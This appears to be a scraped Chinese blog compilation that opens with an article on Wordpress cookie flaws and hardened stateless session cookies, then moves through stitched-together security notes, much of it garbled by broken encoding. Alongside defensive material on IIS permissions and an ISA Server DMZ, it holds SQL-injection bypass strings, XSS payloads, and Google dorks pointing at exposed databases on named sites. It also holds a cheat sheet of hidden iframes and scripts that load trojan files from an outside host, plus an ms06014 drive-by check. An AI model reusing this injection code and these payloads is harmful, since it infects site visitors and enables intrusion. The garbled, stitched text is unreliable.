By Jake Edge
May 21, 2008
Two weeks ago on this page, we reported on some Wordpress vulnerabilities that were caused by incorrectly generating authentication cookies. The article was a bit light on details about such cookies, so this follow-up hopes to remedy that. In addition, Steven Murdoch, who discovered both of the holes, recently presented a paper on a new cookie technique that provides some additional safeguards over other schemes.
两周前在此页上，我们报道了由不正生成的w䆾验证 cookies 引v的一?Wordpress 漏洞。那文档对q些 cookies 的细节描q略，q篇后箋的文章希望能解决q个问题。另外，发现q些漏洞?Steven MurdochQ最q发表了关于一U新?cookie 技术的文章Q文章提供了其他Ҏ之`上`的一些额外保护措施?br />
HTTP is a stateless protocol which means that any application that wishes to track multiple requests as a single session must provide its own way to link those requests. This is typically done through cookies, which are opaque blobs of data that are stored by browsers. Cookies are sent to the browser as part of an HTTP response, usually after some kind of authentication is successful. The browser associates the cookie with the URL of the site so that it can send the cookie value back to the server on each subsequent request.
HTTP 是一U无状态的协议Q这意味着M希望跟踪多个h作ؓ单个会话的应用程序，必须提供自己的方式来链接q些h。这通常通过 cookies 来完成，cookies 是浏览器存储的不透明的数据块。通常Q在某种w䆾认证成功后，cookies 被作Z?HTTP 响应的一部分发送给览器。浏览器?cookie 和对应网站的 URL 兌hQ以便它可以在每个后l请求中回?cookie 值到服务器?br />
Servers can then use the value as a key into some kind of persistent storage so that all requests that contain that cookie value are treated as belonging to a particular session. In particular, it represents that the user associated with that session has correctly authenticated. The cookie lasts until it expires or is deleted by the user. When that happens, the user must re-authenticate to get a new cookie which also starts a new session. Users find this annoying if it happens too frequently, so expirations are often quite long.
然后Q服务器可以`用某U持久性存储的键`使用该|使得所有包含该 cookie 值的hQ被视ؓ属于同一个特定会话。特别是Q它代表和该会话兌的那个已l正通过w䆾验证的用戗一?cookie 一直存在，直到q期或被用户删除。此Ӟ用户必须重新q行w䆾验证Q获取一个新 cookieQ同时开始一个新会话。如果它发生的过于频J，会让用户感到ghQ所以到期时间通常相当ѝ?br />
If the user explicitly logs out of the application, any server-side resources that are being used to store state information can be freed, but that is often not the case. Users will generally just close their browser (or tab) while still being logged in. It is also convenient for users to be allowed multiple concurrent sessions, generally from multiple computers, which will cause the number of sessions stored to be larger, perhaps much larger, than the number of users.
如果用户昑ּ地登出应用程序，M用来存储状态信息的服务器端资源会被释放Q但情况l常不是q样。用户通常只是关闭他们的浏览器Q或标签）Q当仍在d状态时。这也允许用h便地Q从不同的计机上用多个ƈ发会话。这导致存储更大的会话数量Q也许比用户数量大许多?br />
Applications could restrict the number of sessions allowed by a user, or ratchet the expiration value way down, but they typically do not for user convenience. This allows for a potential denial of service when an attacker creates so many sessions that the server runs out of persistent storage. For this reason, stateless session cookies [PDF][http://prisms.cs.umass.edu/~kevinfu/papers/webauth_tr.pdf] were created.
应用E序可以限制允许一个用户用的会话敎ͼ或者``Q但它们通常不方便用户用。这允许一个潜在的拒绝服务Q当一个攻击者创建太多会话，以至于服务器用完持久性存储时。出于这个原因，无状态会?cookies 被创建?br />
Stateless session cookies store all of the state information in the cookie itself, so that the server need not keep anything in the database, filesystem, or memory. The data in the cookie must be encoded in such a way that they cannot be forged, otherwise attackers could create cookies that allow them access they should not have. This is essentially where Wordpress went wrong. By not implementing stateless session cookies correctly, a valid cookie for one user could be modified into a valid cookie for a different user.
无状态会?cookies 把所有状态信息存储到 cookie 本nQ服务器不需要在数据库、文件系l或内存中保存Q何信息。Cookie 中的数据必须以不能被伪造的方式~码Q否则攻击者可以创建允总们访问不应该讉K内容?cookies 。实际上q就?Wordpress 出问题的地方。由于没有正用无状态会?cookies Q一个用L有效 cookie 可以被修Ҏ另一个不同用L有效 cookie ?br />
A stateless session cookie has the state data and expiration "in the clear" followed by a secure hash (SHA-256 for example) of those same values along with a key known only by the server. When the server receives the cookie value, it can calculate the hash and if it matches, proceed to use the state information. Because the secret is not known, an attacker cannot create their own cookies with values of their choosing.
一个无状态的会话 cookie 有状态数据和明确的到期时_后跟一个安全哈希|例如 SHA-256Q，该哈希值和只有服务器知道的一个键`对应`。当服务器接收到 cookie |会计哈希|如果匚wQl用其中的状态信息。由于这个密钥是未知的，d者不能用他们选择的值创q cookies ?br />
The other side of that coin is that an attacker can create spoofed cookies if they know the secret. Murdoch wanted to extend the concept such that even getting access to the secret, through a SQL injection or other web application flaw, would not feasibly allow an attacker to create a spoofed cookie. The result is hardened stateless session cookies [PDF][http://www.cl.cam.ac.uk/~sjm217/papers/protocols08cookies.pdf].
币的另一面是Q如果攻击者知道密钥，可以创徏ƺ骗性的 cookies 。Murdoch 希望扩展概念Q得通过 SQL 注入或其?web 应用漏洞讉K密钥后，d者也无法创徏一个欺骗性的 cookie。结果就是强化的无状态会?cookies ?br />
The basic idea behind the scheme is to add an additional field to stateless session cookies that corresponds to an authenticator generated when an account is first set up. This authenticator is generated from the password at account creation by iteratively calculating the cryptographic hash of the password and a long salt value.
该方案背后的基本思\是，l无状态会?cookie 增加一个额外的字段Q这个字D和账户首次讄时生成的一个`w䆾验证器`对应。n份验证器由创̎h的密码生成，生成Ҏ是，q代计算密码的加密哈希和一个长 salt 倹{?br />
Salt is a random string—usually just a few characters long—that is added to a password before it gets hashed, then stored with the password in the clear. It is used to eliminate the use of rainbow tables to crack passwords. Hardened stateless session cookies use a 128-bit salt value, then repeatedly calculate HASH(prev|salt), where prev is the password the first time through and the hash value from the previous calculation on each subsequent iteration.
Salt 是一个随机字W串——通常只有几个字符?#8212;—它在被计哈希值前d到密码中Q然后以明文形式和密码一起存储。它是用来杜l用彩虹表破解密码的。`化`的无状态会?cookies 使用128?salt |然后q代计算 HASH(prev|salt) Q?其中 prev 在第一ơP代时是密码，在以后每ơP代中是上ơ计的 hash 倹{?br />
The number of iterations is large, 256 for example, but not a secret. Once that value is calculated, it is hashed one last time, without the salt, and then stored in the user table as the authenticator. When the cookie value is created after a successful authentication, only the output of the iterative hash itself is placed in the cookie, not the authenticator that is stored in the database. Cookie verification then must do the standard stateless session cookie hash verification, to ensure that the values have not been manipulated, then hash the value in the cookie to verify against authenticator in the database.
q代ơ数是个大的|例如256Q但q不是保密的。D计算出来后，再不使用 salt 哈希一ơ，然后作ؓw䆾验证器存储到用户表中。当 cookie 通过一ơ成功认证被创徏后，只有输出的P代哈希D保存?cookie 中，而不保存数据库中的n份验证器。Cookie 验证必须q行标准的无状态会?cookie 哈希验证Q来保值没有被修改q，然后哈希 cookie 中的值和数据库中的n份验证器Ҏ?br />
If it sounds complicated, it is; the performance of doing 256 hashes is also an issue, but it does protect against the secret key being lost. Because an attacker cannot calculate a valid authenticator value to put in the cookie (doing so would require breaking SHA-256), they cannot create their own spoofed cookies.
如果q听h很复杂，实Q进?56ơ哈希的性能也是一个问题，但它实能避免密钥丢失。因为攻击者无法计一个有效的用户验证器放q?cookie 中（q样做需要突?SHA-256Q，所以他们不能创qƺ骗 cookie ?br />
While it is not clear that the overhead of all of these hash calculations is warranted, it is an interesting extension to the stateless session cookie scheme. In his paper, Murdoch mentions some variations that could be used to further increase the security of the technique.
目前不清楚所有这些哈希计的开销是否有必要，q是一个扩展无状态会?cookie 的有方案。在他的文章中，Murdoch 提到了一些可以进一步提高该技术安全性的变化?br />
---
后面没看明白?br />无状态会?cookie 中的密钥可能被攻击者获取，authenticator Z么不能被d者获取？获取q两个东西的隑ֺ有区别么Q?br />
---
TODO
| hash salt
| 彩虹?/div>
]]>
http://bbs.ikaka.com/showforum-20039.aspx
http://bbs.kafan.cn/forum-105-1.html
]]>
*常见模式
**/
'or'='or'
a'or'1=1--
'or 1=1--
"or 1=1--
or 1=1--
'or'a'='a
"or"a'='a
"or"a'='a
')or('a'='a
/**
*后台文g常见文g?br>**/
admin
ad_login
ad_manage
addmember
adduser
adm_login
admin/admin
admin/admin_login
admin/index
admin/manage
adimin_admin
admin_edit
admin_index
admin_Login
login/...
...
/**
*关键?br>**/
密码、用户名、后台̎受会员、会员ID、username、password。。?/p>
/**
*例子
**/
intext:用户?inurl:admin/login.asp
]]>
*语法
**/
allintext:验证?4800
allintitle:后台登陆
cache:bit.edu.cn //现在不能用了貌似
define:html
filetype:pdf
info:bit.edu.cn
allinurl:movie //q个也用不了
link:nsfocus.com
site:nsfocus.com
related:nsfocus.com ///
-----
blue grass //逻辑?br>blue -grass //?br>blue or grass
"blue grass"
"bl?e gr?s"
blue grass +com
-----
http://www.googlesyndicatedsearch.com/u/berkeley
/**
*入R
**/
l对的\?输入保存的\?输入文g的内?inurl:diy.asp
inurl:asp?id=
inurl:php?id= site:sohu.com
to parent directory inurl:inetpub
to parent directory mdb -google
///eg
//filetype:mdb
http://proisk.ru/Northwind.mdb
//to parent directory mdb site:edu.cn
http://netcourse.cug.edu.cn:7310/cug/fire_control/INC/_VTI_CNF/
http://netcourse.cug.edu.cn:7310
//to parent directory "conn.asp" site:edu.cn
http://www.tijmu.edu.cn/cn/dxzhx/new/admin/
//inurl:/inc+conn.asp
------
/**
*防范-----robot.txt
**/
intext:"User-agent:*" inurl:robot.txt
intext:"Mediapartners-Google" inurl:"robots.txt"
intext:"Disallow:" inurl:robots.txt
intext:"Allow:" inurl"robots.txt"
/**
*常用
**/
allinurl:bbs data
filetype:mdb inurl:database/data
filetype:inc conn
intitile:"index of" data/sh_history/bash_history/passwd
]]>
[2] >"><script>alert("Watchfire XSS Test Successful")</script>
[3] </TextArea><script>alert('Watchfire XSS Test Successful')</script>
///囄跨站
[4] >"'><img src="javascript:alert('Watchfire XSS Test Successful')">
[5] >"'><img src=javascript:alert("Watchfire XSS Test Successful")>
[6] " style="background:url(javascript:alert('Watchfire XSS Test Successful'))" OA="
[7] --><script>alert('Watchfire XSS Test Successful')</script>
[8] '+alert('Watchfire XSS Test Successful')+'
[9] "+alert('Watchfire XSS Test Successful')+"
[10] >'><%00script>alert('Watchfire XSS Test Successful')</script> (.NET 1.1 specific variant)
[11] >"><%00script>alert("Watchfire XSS Test Successful")</script> (.NET 1.1 specific variant)
[12] >+ACI-+AD4-+ADw-SCRIPT+AD4-alert(1234)+ADw-/SCRIPT+AD4-
[13] %A7%A2%BE%Bc%F3%E3%F2%E9%F0%F4%Be%E1%Ec%E5%F2%F4%A8%A7Watchfire%20XSS%20Test%20Successful%A7%A9%Bc%Af%F3%E3%F2%E9%F0%F4%Be
///-------------------------------------
exec('Updata ['+@t+'] set ['+@c+'] = rtrim(convert(varchar,['+#c+']))') ???
cast("></title><script> src=http://www.xxx.com/xx.js</script><!-- as varchar(67))')f
]]>
<iframe src=地址 width=0 height=0></iframe>
?js文g挂马
首先以下代?br>document.write("<iframe width=0 height=0 src=地址></iframe>");
保存为xxx.jsQ?br>则JS挂马代码?br><script language=javascript src=xxx.js></script>
?js变Ş加密
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
muma.txt可改成Q意后~
?body挂马
<body onload="window.location=地址;"></body>
?隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + rn<iframe src=">;
?css中挂?br>body {
background-image: url(javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>"))}
?JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
?囄伪装
<html>
<iframe src="|马地址" height=0 width=0></iframe>
<img src="囄地址"></center>
</html>
?伪装调用Q?br><frameset rows="444,0" cols="*">
<frame src="打开|页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="|马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
十一:判断pȝ代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
十二:判断是否有ms06014代码
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
十三:djs的代码demo
//dsrc的对?br>var v = document.getElementById("advjs");
//dsrc的参?br>var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute(src));
document.write("<iframe src="document.writeln("<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">"); //分析src的参数函?br>function getUrlParameterAdv(asName,lsURL){ loU = lsURL.split("?"); var loallPm = loU[1].split("&"); for (var i=0; i<loallPm.length; i++){
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content="text/html; charset=big5">");
document.writeln("<META content="MSHTML 6.00.2900.3059" name=GENERATOR></HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style="CURSOR: url(document.writeln("style="CURSOR: url(
if (loU.length>1){
var loPm = loallPm[i].split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}
]]>
首先我们写一个最单的ASPE序.我这里用了我自己的一个简单的登陆pȝ.
里面又asp.有对外引用的部分.有access数据?br>我们权限设|成
administrators 全部
system 全部
然后主要我们对d的一个everyone权限来测?
因ؓ没有其他用户l了.所以iuser承everyonel的权限
所以是不是不用everyone用iuser用户是一L.
首先只打开everyone用户的读取权?
在高U内昄如下权限
1.列出文g?d数据
2.d属?br>3.d扩展属?br>打开试面登陆.正常
然后高内只保留
1.列出文g?d数据
打开试面.出现ACL登陆框了.看来权限不
再接下来我们试传说中的取消ASP执行权限.
因ؓ只读情况下已l没有执行权限了.
我们现在特别执行权限取?br>1.遍历文g?q行文g -- 拒绝
2.列出文g?d数据 -- 允许
3.d属?-- 允许
4.d扩展属?-- 允许
现在打开ASP试面.仍旧可以正常讉K
׃asp文g对于iis来说只是一个文本文?br>IISdasp文g内容后交由asp.dllq行解析
所以aspq行Ҏ和windows应用E序不同
完全不需要执行权?只需要只L?br>所以不允许aspq行,虽然可以做到,是取消L?br>但是取消L限之?整个目录内所有文仉无法通过iisd
包括囄文g{等.那么上传目录不允许asp执行.{于是上传的所有内定w不能?br>q种讄导致上传内Ҏ无意?
最后我们来看这句话
"能执行ASP脚本的地方不允许写入文g,能写入文件的地方不允许运行ASPE序"
前半句我们可以做?对asp目录只读权限.
后半句虽然严格来说也可以做到.对上传目录取消读权限
但是q样导致上传Q何文仉无法讉K.失去了上传文件功能的意义?
本h试环境
windows2003 中文企业版VLK SP1
IIS 6
---------------------------------------------------------------------
写权限依靠NTFS权限讄Q执行asp依靠IIS讄
-------------------------------------------------------------------
]]>
--------------------------------------------------------------
q次W者将介绍如何在企业中利用ISA Server部v一个DMZ区域。一般来讲利用ISA Server可以实现三宿ȝDMZ区域Q也可以实现背靠背的DMZ区域。本文讨论的焦点是三宿主的DMZ区域?/p>
首先Q我们谈谈ؓ何要部vDMZ区域Q也是说一旦部|了DMZQ他对你的网l生什么样的积极作用。有些企业可能从ISP甌了一个地址D늚IPQ但是往往出现q些IP不能有效的利用，构徏了DMZ区域后，q些IP可以灉|的分配到DMZ上的L。此外，从DMZ区域到Internet动的数据包是被路由的，而不是被NATQ从ISA处理数据包的效率角度Ԍ前者要优于后者?br> 现在Q我们来看看要部|DMZ需要哪些条?br> - ISA需要有臛_3个网l接口卡
- ISA Server是做为防火墙模式或者集成模式安装的Q可以是单机模式也可以是阵列模式
- 在IP PACKET Filter的全局讄中，必须启用Enable IP Routing
- ISP分配了一个地址D늚IPl你的公?br> - 配置在ISA外部接口的IP的子|掩码不能与DMZ区域的子|掩码相?/p>
在这文章里Q笔者以一个模拟的真实环境来描qDMZQ试验的拓扑如图1所C?br>
(?)
我们假设Q你的公总ISP购买了一个CcȝIPD，172.16.1.0/24。我们将172.16.1.33分配lISA的外部接口。把172.16.1.64/26?72.16.1.0/24划分出来分配lDMZ区域。注意，DMZ区域和ISA外部接口q接的区域是不同的逻辑|络。一个常见的错误是把DMZ区域和ISA外部接口规划在一个IP逻辑|络里。记住，从DMZ和外部网l的通讯角度ԌISA扮演一个有qo功能的\由器Q而不是网桥，q也是ؓ什么必需要启用Enable IP Routing的原因?/p>
ISA Server的网l接口配|如?/p>
Internal NIC
IP:192.168.100.20/24
Defaul Gateway(DG):None
DNS:192.168.100.100
DMZ NIC
IP:192.168.100.65/26
DG:None
DNS:None
External NIC
IP:172.16.1.33/24
DG:172.16.254
DNS:10.10.10.10
DMZ上的L的网l接口配|?br> IP:172.16.1.66-126/26
DG:172.16.1.65
DNS:None
内部|络QInternalQ上的计机
IP:192.168.100.x/24
DG:192.168.100.20
DNS:192.168.100.100
L别注意以上的配置。对于ISA来讲Q缺省网关一定要配置在外部接口，原因很简单，一个去往未知IP的数据包Q目标一定位于Internet上，如果q个IP是在你的公司内部|络Q那么你的网l中的\p|肯定存在问题。既然是dInternet上的QISA必须可以这个数据包从外部接口上送出去，所以缺省网关一定要配置在外部接口上。如果你的其他接口也配置的缺省网养I那么׃定会出现问题Q因为默认情况下Q各个网l接口上配置的缺省网关的Metric都是1Q所以去往未知IP的数据包Q就会从所有配|了~省|关的网卡送出Q也是负蝲均衡Q但是另一个不应该配置~省|关的网卡不能将数据包成功的送到目的IPQ所以导致丢包，甚至无法通讯。内部接口的DNS指向公司内部的DNS服务器。外部接口的DNS指向一个可以解析Internet上所有域名的DNS服务器，q一点很重要Q别忘了ISA要代理Web Proxy Client和FWCq行DNS解析。DMZ接口上，我们q没有配|DNSQ当然你也可以配|。对于DMZ区域上的LQ我们把|关指向ISA的DMZ|络接口Q因为DMZ区域上的L需要与Internet通讯Q确切的讲是被Internet用户讉KQ而ISA是Internet出口的持有者。DNS指向我们也没有在DMZ上的L配置Q因为DMZ应该是一个无人区Q也是说DMZ上应该是一个服务器农场Q而不是被用户使用Q浏览Internet的计机Q所以它没有必要配置DNSQ除非某台服务器q行的服务必M赖与DNS。内部网l的L讄不是此文讨论的重点，所以在q里不展开讨论?br> 另外Q如果你对\由非怺解，从上边给出的ISA的网l接口配|看Q你马上会发C个问题。ISA外网接口q接172.16.1.0/24|段、而DMZ区域?72.16.1.64/26|段。我们假设这两个|段的物理介质是以太|标准，?72.16.1.64/26|段中的某个L发v?72.16.1.0/24|段中某C机通讯Ӟ不妨假设172.16.1.69/26?72.16.1.254/24通讯Q对?72.16.1.69/26Q它认ؓ172.16.1.254/24和自׃同属一个逻辑|段Q所以它知道要把d172.16.1.254/24的数据包发送给自己的网?72.16.1.65/26Q由?72.16.1.69/26?72.16.1.65/26在一个广播域Q所以ARP解析不会出现问题。但是反q来Q当172.16.1.254/24要\由或者始发一个数据包?72.16.1.69/26Ӟ问题出C。对?72.16.1.254/24来讲Q它认ؓ172.16.1.69和自己在一个逻辑|段Q所以这个数据包应该是直接发送到172.16.1.69/26Q因此它׃ARP解析172.16.1.69/26的MAC地址Q然而它们ƈ不在同一个广播域Q所以这个ARP解析得不到答案，因此q个数据包就无法发送，然而，如果172.16.1.254/24可以成功的把d172.16.1.69/26的数据包发送给172.16.1.33/24Q也是ISA ServerQ则q个数据包就可以被最l送往172.16.1.69/26。要解决q个问题Q我们应该从两个斚w出发。如果ISA Serverq接ISP的链路层协议是通过q播技术寻址的，则解决的Ҏ?U，一是，与你的ISP联系Q得和ISA相连的\由器中有一条明的?72.16.1.64/26|络下一跳ؓ172.16.1.33/24的\由；二是Q在ISA上实施一U对于链路层d的欺骗手D，例如Q以太网的链路层d是通过ARP协议Q所以你的ISA计算Z必须可以实现Proxy ARP功能Q得ISA计算机可以以自己外网接口的MAC地址回应?72.16.1.64/26|络中主机的ARP查询Q三是，?72.16.1.0/24?72.16.1.64/26|络规划C个广播域之中Q如果采用这U方法，h意ISA只能?#8220;半过?#8221;来保护DMZ区域Q但是这U保护也是有效的。换句浅显易懂的话说Q从外网到DMZ区域的数据包是直接发送的Q但是从DMZ区域到外|的数据包是l由ISA Server送出到外|的。如果，ISA Serverq接ISP的链路层协议是点对点的，那么你不用做M事情Q因为只要是d172.16.1.x的数据包Q不论子|掩码是24位还?6位还?7位，数据包都会正无误的发送到你的ISA Server的外|接口。在W者的试环境中，ISA和ISP的\由器之间的链路层协议是以太网Q笔者对q个路由器有理权力Q所以采用了在\由器上添加\qҎ解决上述问题?/p>
请在你安装ISA Server之前Q将q些配置讄好。一旦安装好ISA ServerQ在ISA计算Zd或者删除网卡可能会引v意想不到的错误。此外，最好在安装好ISA Server后，不要修改IP的配|，如果你不得不q样做，请遵循以下步骤：
1Q?在命令行中输入net stop mspfltex
2Q?在命令行中输入net stop gksvc
3Q?在命令行中输入net stop IPNAT
4Q?修改相应|卡的IP讄
5Q?在命令行中输入net start mspfltex
6Q?在命令行中输入net start IPNAT
7Q?在命令行中输入net start isactrl
8Q?在命令行中输入net start “Microsoft Web Proxy”
9Q?在命令行中输入net start “Microsoft Firewall”
10Q在命o行中输入net start “Microsoft Scheduled Cache Content Download”
Z验证|络层的q通性，我们通常会用Ping工具。Ping工具实际上是ICMP协议的一U应用实例。ؓ了实现目的，你需要对ICMP协议有一些了解。当一C机Ping一个远端计机Ӟ会以ICMP协议 cd8 代码0Q也是通常所说的ICMP Ping Query或者是ICMP Ping RequestQ封装一个数据包发送出去，当远端计机收到q个数据包后Q会以ICMP 协议cd0代码0装QICMP Ping ReplyQ回应的数据包发送给源端。ؓ了DMZ上的L可以Ping通Internet上的LQ你需要允许DMZL发送的ICMP Ping Query能够被ISA Server发送到Internet上，反过来，要允许ICMP Ping Replyq入到DMZ区域。这需要你在IP PACKET FILTER中徏?个封包过滤，具体内容如图2Q图9?br>
完成之后Q等待一会儿以便新徏的封包过滤生效，也可以重新启动一下Firewall Service服务。之后验证DMZ的主机是否可以Ping通Internet上的LQ也是我们模拟?0.10.10.10那台计算机）。没有问题，DMZ和Internet的网l层实hq通性，但是反过?0.10.10.10却无法Ping通DMZ上的LQ也许这恰y是你的愿望。如果你希望Internet的主机可以Ping通DMZ的主机，也很单，只要把刚才徏立的2个封包过滤的Direction 讄为Both卛_Q原理不再冗q。讲到这里，如果你希望Internet上的计算机可以Ping通你的ISA Server的外部接口，׃变得极其单，W者也׃必浪费笔墨。值得注意的是你不需要添?个封包过滤，而是1个，如果你注意到IP PACKET FILTER中，已经有默认的名ؓICMP outbound的封包过滤就不难理解Q这个封包过滤允许ICMP 所有类型和代码的数据包从ISA的外部接口送出Q也是说你只需入的ICMP Ping Query讄一个允许的包qo卛_。如果你想了解ICMP协议的更多细节，可以参考TechNet CD或者微软帮助站点中的Q170292文档?/p>
在验证了DMZ区域和Internet的网l层q通性后Q我们要立刻切入正题Q实现对DMZ区域的应用。我们的目的是要使得DMZ区域的各U服务能够被Internet上的用户讉K。你可以Web服务、FTP服务、邮件服务等{部|在DMZ区域Q从而提供Internet用户的访问。笔者D3个典型的例子来说明ISA如何发布DMZ区域的服务器?/p>
发布DMZ区域的Web服务
1. 首先Q设|好DMZ区域的Web 服务器，默认情况下它应该?0端口监听Webh,如图10。设|完成后Q请利用netstat 工具查看Web服务器是否在0.0.0.0上监?0端口Q笔者假设你没有用SocketPoolingQ?br> 2. 在ISA Server上利用IP PACKET FILTERWeb服务发布。其实说发布有些q于牵强QISA实际上是一个具有过滤功能的路由器，所以我们只是允许来自Internet用户的Webh可以q入到DMZ上的Web服务器。设|的内容如图11Q图14所C?br> 3. 在Internet上的计算机验证是否可以正访问位于DMZ区域的Web服务器。可以看到我们可以正的讉KWeb面Q正如图15昄的那栗在验证之前Q你应该{待一会儿以刚刚建立的封包过滤生效，或者重新启动Firewall Service服务?br>
完成了，上边的设|后Q不仅Internet上的用户可以讉Kq台Web服务器，ISA Serverq接的内部网l中的用户也可以讉KQ因为我们在?4中的Remote Computer中选择的是All Remote Computers?br>
发布DMZ区域的FTP服务
׃FTP有两U工作模式，PORT和PASV模式Q具体区别详见本刊杂?002q第九期《浅析FTP工作原理》?/strong>
发布PORT模式的FTP的步骤如?br> 1Q设|好DMZ区域的FTP服务器，使其?1端口上监听。如?6。当然你也可以用其他端口，只不q要在配|IP PACKET FILTER时要做相应的调整?br> 2Q不论哪U模式的FTPQ都需要允许远端用戯接FTP服务?1端口的进入请求，所以需要ؓ此徏立一个封包过滤，具体讄如图17Q图20?br> 3QؓFTP的数据通道的徏立设|一个封包过滤。由于PORT模式的数据通道的徏立请求是由FTP服务器主动发LQ所以封包过滤的direction 应该是Outbound而不是Inbound。具体的讄如图21Q图22?/p>
发布PASV模式的FTP的步骤如?br> 1Q设|FTP服务器在21端口监听Q如上边所q?br> 2Q由于PASV模式的所有连接都是有FTP客户端发LQƈ且用的端口q不是固定的Q因此只需要一?#8220;非安?#8221;的封包过滤即可完成PASV模式的FTP服务器发布。如?3Q图26?/p>
完成FTP的发布后Q我们在Internet上的FTP客户端验证是否可以正的以PORT和PASV模式q接C于DMZ的FTP服务器，可以看到Q如?7和图28Q连接成功。在发布PASV模式的FTP服务器时Q我们设|了一个安全性较差的包qoQ但是这也是发布位于DMZ区域的PASV模式FTP的无奈之举。因为我们知道FTP的数据通道使用的端口是动态的Q而且动态的范围我们不易控制Q特别是使用微YIIS中提供的FTP服务Q我们根本无法控制。不q你可以选择另一ƾFTP服务器端软gQServU。这个服务器端Y件可以控制PASV模式建立数据通道时用的端口范围Q通过讄q个端口范围我们可以控制本地FTP数据通道使用的端口，但是相应的，在IP PACKET FILTER中的讄也会ȝ许多Q你要ؓq个端口范围中包含的所有端口都讄一个进入的包qo。如果你对安全性很重视Q这个一x怽是绝寚w烦的工作q是有必要的。笔者认为，FTP服务器部|在DMZ区域也许q不是一个明Z举，除非你可以承受这台FTP服务器可以受到攻ȝ事实Q或者你攑ּ使用PASV模式的FTP。然而，FTP服务器部|在内部|络Q可以在保证安全性的前提下（甚至是加强安全性）减轻许多工作Q因为动态端口的问题你不必劳，FTP Application Filter和MS Proxy Protocol可以很好的ؓ你解冻I有关在内部网l部|FTP服务器的问题请参考《用ISA Server发布非标准端口的FTP服务器》以及《用ISA Server 2000发布内部|络的IIS FTP 服务器》?br>
此外Q如果你军_为在DMZ区域部v的FTP讄那个“非安?#8221;包qoQ笔者有必要做一些安全警告：你的q台FTP服务器完全暴露给Internet上的所有用PMInternet用户可以q接q台服务器的L端口。ISA Server唯一可以做的是利用IP PACKET FILTER中的全局配置QInstruction Detection Qؓq台FTP服务器做一些保护。在q种情况下，你可以在FTP服务器上Q安装一Ƒ֍机版的防火墙软g来加强对q台服务器的保护Q这U保护是实有效的，但是相应的也会增加成本。笔者推荐以下几Ƒ֍机版防火墙YӞNorton Internet Security、BlackICE、ZoneAlarm、天|防火墙?
下边Q笔者介l一个很有意思的发布DMZ区域的Mail Relay Server的案例。在很多企业中，邮g服务是非帔R要的Q所以要有一U可行的措施有效的保护企业内部的邮g服务器不被攻凅R如果这个邮件服务器必须被O游的用户使用Q那么这台邮件服务器必d以通过Internet被访问，q样面临两U选择Q一是把邮g服务器部|在内部|络Q然后通过ISA发布出去Q另一U是把邮件服务器部v在DMZ区域利用IP PACKET FILTER发布。我们可以综合一下以上两U方案的安全和性能的^衡点Q把邮g服务器部|在内部|络Q在DMZ区域部v一台邮件{发服务器Q通过ISA只发布位于DMZ区域的邮件{发服务器Q这样不仅可以有效的保护邮gpȝ的真实宿M被攻击，因ؓ你发布的只是一个邮件{发服务器Q同时也能够利用邮g转发服务器和ISA的SMTP Filter实施分的邮件过滤?/p>
完成q个发布工作我们需要做以下几g事情
- 在企业内部部|Exchange Server 2000Q本文不讨论Q?br> - 在DMZ区域部v邮g转发服务?br> - 发布内部|络的邮件服务器lDMZ区域的邮件{发服务器
- 利用IP PACKET Filter发布邮g转发服务?/p>
]]>
* 此漏z的技术重点在于某些应用程序出错时Q会把错误信息反馈到用户端，q些错误信息通常可用于调试的目的
* 此漏z的Ҏ重点在于从错误反馈信息中获取有用的信息，从而加以利用，H破|站安全
当Web应用E序发生错误Ӟ如果处理不得当，可能会把相关的错误信息反馈至客户览器?br>
q种情况更多见于PHP+MySQL的Web应用Q一些程序h员没有正的做异常处理，当发生错误里Q系l向览器端q回了本来是用于调试目的的相关信息。这些信息往往可能含有重要的安全信息?br>
例如Q某个网站的MySQL停止了运行，而这时用戯问此|站Ӟ发现|页提示如下信息Q?br> MySQL Error:Lost connection to MySQL server during query
从这个回馈来看，用户h的页所使用的数据库是MySQL ! q无疑暴露是安全人员所不希望看到的?br>
高明的入侵者，会尽可能的其在面览或提交时Q用不正当的数据或ҎQ以此期望页面生错误回馈，从而利用这些信息完成入c?br>
从服务器角度Q关闭调试信息回馈功能，q且善用异常处理功能Q可以尽可能避免此类安全漏洞?/font>
]]>
* 注入漏洞d的方法重点在于动态网存在不安全的SQL生成语句
本文内容重点在于介绍注入漏洞的攻击过E?br> 在很多动态web应用中，会提供给用户输入的接口，q且Ҏ用户的输入来生成数据操作的SQL语句。比如一个简单的用户d对话H?
所谓注入漏z，是指在上q描q的部位Q利用输入的数据参与执行的原理，输入恶意的内容，q而该恶意内容可被执行。D例如下：
在一个登录界面中Q用戯输入自己的ID号和密码来完成登录过E，生成的SQL可能是如下这个样子：
select * from t_users where user_name=' + 用户输入的ID + ' and user_pwd=' + 用户输入的密?+'
一个非法的H探者，在用户ID输入框中输入 00' or '1'='1 q在密码框里输入00Q生成的整个SQL变成：
select * from t_users where user_name='00‘ or '1'='1' and user_pwd='00'
q样Q查询是有结果的Q对于不严密的判断，非法用户得以q入该系l?br>
